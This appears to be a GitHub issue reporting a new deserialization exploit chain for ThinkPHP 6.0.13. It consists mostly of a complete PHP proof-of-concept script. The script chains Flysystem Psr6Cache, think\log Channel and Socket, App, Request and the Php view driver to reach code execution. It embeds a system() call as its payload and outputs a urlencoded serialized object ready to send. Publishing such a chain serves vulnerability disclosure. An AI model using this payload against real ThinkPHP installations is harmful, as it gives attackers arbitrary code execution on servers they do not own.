New issue

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There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.13 #2749

Open hzy030628 opened this issue on Aug 14 · 0 comments

hzy030628 commented on Aug 14

Any method of any class, where eval is called to execute php code, thereby executing php and writing to a file.

```php
<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
```

```
            $this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(serialize($a));
}
```

 **hzy030628** changed the title ~~There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.12~~ **There is a new exploit chain for the deserialization vulnerability of thinkphp 6.0.13** on Aug 15

 **Rodots** mentioned this issue on Sep 20

ThinkPHP v6.0.13反序列化漏洞 #2762

Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant